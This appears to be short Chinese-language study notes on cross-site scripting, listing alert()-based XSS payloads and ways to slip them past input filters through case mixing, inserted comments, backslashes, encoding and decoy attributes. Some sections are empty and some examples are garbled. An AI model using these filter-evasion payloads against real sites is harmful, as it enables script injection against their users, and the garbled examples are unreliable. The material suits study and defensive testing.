一、Js在web的執行環境
1.直接觸發
?<script language=“javascript”>
?document.write(“hello world!”);
?</script>
<script language=“javascript” src=“test.js”>
</script>
2.利用HTML標簽屬性觸發
?利用HTML標簽中能夠訪問文件的屬性來執行JS代碼。JS中包含一個URL偽協議,可以使用javascript:加上任意JS代碼來表示一個URL,瀏覽器裝載此URL時,JS被執行。
< img src=“javascript:alert(‘XSS’)” />
< img dynsrc=“javascript:alert(‘XSS’)” />
?
<img src=“#” οnerrοr=“alert(‘XSS’)” />
<img onClick =“alert(‘XSS’)” />
1)以.css文件的形式:
<link href=“test.css” rel=“stylesheet” type=“text/css”/>
2)以<style></style>標簽的方式:
< style type="text/javascript">alert('XSS');</ style >?
3)在標簽中以style屬性的方式。
<a style ="background-image: url(javascript:alert('XSS'))">? </a>
<style>
h1{color:#CCC;height:expression(alert(‘xss’));}
</style>
二、Xss的介紹
三、XSS挖掘技巧
??? <img src=“javascript:alert(‘XSS’)” />
??? 寫為<img src=“JavasCripT:alert(‘XSS’)” />可繞過過濾規則
???? 如: <img src=“javascript:alert(‘XSS’)” />,混淆后代碼為:
???????? <img src=“javascript:alert(‘XSS’)” />
3. 繞過HTML標簽內的關鍵字過濾,在插入代碼的屬性前加入混淆屬性,如: <img src=“abc>” οnclick=“alert(‘XSS’)” />
4. 插入注釋符如: <img style=“xss:expr/*xss*/ession(alert(111))”>
5.對CSS:\會被瀏覽器忽略: : <img style=“background-image:url(ja\vas\\\\cript:alert(111))”>
6.編碼繞過,如: <img src=“javascript:alert('XSS'l;”>等價于<img src=“javascript:alert(‘xss’;)”.>
????? http://ha.ckers.org/xss.html
四、防XSS

